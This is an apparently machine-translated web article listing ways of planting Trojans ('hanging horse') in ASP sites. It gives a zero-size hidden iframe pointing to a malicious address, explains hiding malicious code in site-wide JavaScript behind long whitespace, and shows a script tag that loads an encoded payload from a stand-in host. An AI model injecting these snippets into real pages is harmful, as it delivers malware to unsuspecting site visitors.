ASP common Hanging Horse Way Big Summary _ Trojan related
Source: Internet
Author: User
One: Frame hanging horse
<iframe src= Address width=0 height=0></iframe>
Where the "address" can enter a malicious Web site links, etc.
Two: js file hanging Horse
As long as the JS file, can be maliciously modified to be linked to malicious code, generally quoted by the entire station JS code is most likely to be linked to the Trojan, detection we can see the JS code on the left or below, the bad guys like the malicious code and normal code between a lot of space or return to hide, So to see more JS code page has been deliberately elongated and so on.
Three: JS deformation encryption
<script language= "Jscript.encode" src=http://www.xxx.com/muma.txt></script>
Muma.txt can be changed to any suffix
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